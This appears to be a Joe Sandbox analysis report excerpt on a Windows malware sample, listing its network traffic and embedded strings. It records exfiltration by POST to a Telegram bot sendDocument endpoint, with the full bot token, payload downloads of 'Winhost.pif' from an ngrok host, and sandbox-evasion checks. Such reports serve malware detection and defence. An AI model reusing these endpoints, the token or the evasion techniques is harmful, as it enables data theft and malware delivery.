Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda430a7dc875eHost: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda7927d4fb1b6Host: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd932e1414c9adHost: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8ddb20456626a77Host: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd985bd704922fHost: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8ddb77cc655a0d3Host: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50de0349e491Host: api.telegram.orgContent-Length: 66474Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50de039af4a9Host: api.telegram.orgContent-Length: 70134Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET //Winhost.pif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: kvrcmhqc.ngrok.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: kvrcmhqc.ngrok.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50fd7cec3be6Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/plainNgrok-Error-Code: ERR_NGROK_3200Date: Wed, 19 Feb 2025 17:03:32 GMTContent-Length: 62
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/plainNgrok-Error-Code: ERR_NGROK_3200Date: Wed, 19 Feb 2025 17:03:49 GMTContent-Length: 62
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/plainNgrok-Error-Code: ERR_NGROK_3200Date: Wed, 19 Feb 2025 17:03:57 GMTContent-Length: 62

Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007241000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.000000000735F000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000072FF000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007412000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000070A2000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007EB4000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007D1F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007E75000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D2F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007F13000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: http://confuser.codeplex.com
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512/Bearerlhttp://docs.oasis-open.org/ws-sx/ws-trust/20
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512Vhttp://schemas.xmlsoap.org/ws/2005/02/trustthttp://
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdNhttp://schemas.xm
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://goo.gl/YroZm
Source: OgBoRN.exe, 00000003.00000002.2401382417.0000000007B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E5E000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B46000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting(snxhk.dll%SbieDll.dll
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://logging.apache.org/log4net/release/faq.html#trouble-EventLog
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: http://portal.microsoftazure.de/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://portal.microsoftazure.de/Bhttps://login.microsoftonline.de/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Azure.Common.Authentication
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.WindowsAzure.Commands.Utilities.Common
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.WindowsAzure.ServiceManagement
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/Xhttp://schemas.xmlsoap.org/ws/2004/09/policyfhttp://schemas.microso
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: http://www.galasoft.ch/s/dialogmessage.
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: http://www.galasoft.ch/s/dialogmessage.-
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://api.loganalytics.io/v14azuredatalakeanalytics.net
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.loganalytics.io/v16https://api.loganalytics.io
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007241000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.000000000735F000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000072FF000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000070A2000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007EB4000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007D1F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007E75000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D2F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007F13000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B01000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007241000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.000000000735F000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000072FF000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000007412000.00000004.00000800.00020000.00000000.sdmp, gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.00000000070A2000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007EB4000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007D1F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007E75000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D2F000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007F13000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.0000000007D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgH
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgq/H
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://batch.chinacloudapi.cn/
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://batch.chinacloudapi.cn/Jhttps://batch.core.usgovcloudapi.net/4https://batch.cloudapi.de/
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://batch.core.windows.net/
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://datalake.azure.net
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dc.services.visualstudio.com/v2/trackVDequeueAndSend:
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://graph.chinacloudapi.cn/4https://graph.cloudapi.de/$trafficmanager.net
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://graph.cloudapi.de/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E5E000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B58000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.000000000799E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kvrcmhqc.ngrok.io
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4620180662.0000000006E5E000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2401382417.0000000007B58000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4629529277.000000000799E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kvrcmhqc.ngrok.io//Winhost.pif
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kvrcmhqc.ngrok.io//Winhost.pif5
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://login.chinacloudapi.cn/Bhttps://login.microsoftonline.us/Bhttps://login.microsoftonline.de/4
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://manage.microsoftazure.de/publishsettings/indexHhttps://management.core.cloudapi.de/Jhttps://
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://manage.windowsazure.us
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://manage.windowsazure.us/publishsettings/indexThttps://management.core.usgovcloudapi.net/Jhttp
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://manage.windowsazure.usBhttps://login.microsoftonline.us/
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://management.core.windows.net(cloudServiceSettings
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://management.core.windows.net/Rhttps://management.core.chinacloudapi.cn/Thttps://management.co
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://vault.azure.cn
Source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr	String found in binary or memory: https://vault.azure.net
Source: gq8sce-clean.com.com.exe, 00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp, OgBoRN.exe, 00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vault.azure.net4azuredatalakeanalytics.net
